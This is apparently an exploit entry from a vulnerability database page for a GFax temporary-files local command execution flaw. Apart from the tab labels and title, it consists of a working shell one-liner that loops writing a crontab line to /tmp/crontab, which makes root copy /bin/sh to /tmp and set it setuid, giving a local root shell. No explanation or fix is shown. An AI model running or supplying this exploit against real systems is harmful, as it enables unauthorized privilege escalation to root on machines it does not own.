• info
• discussion
• exploit
• solution
• references

GFax Temporary Files Local Arbitrary Command Execution Vulnerability

The following exploit is available:

while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh" > /tmp/crontab; done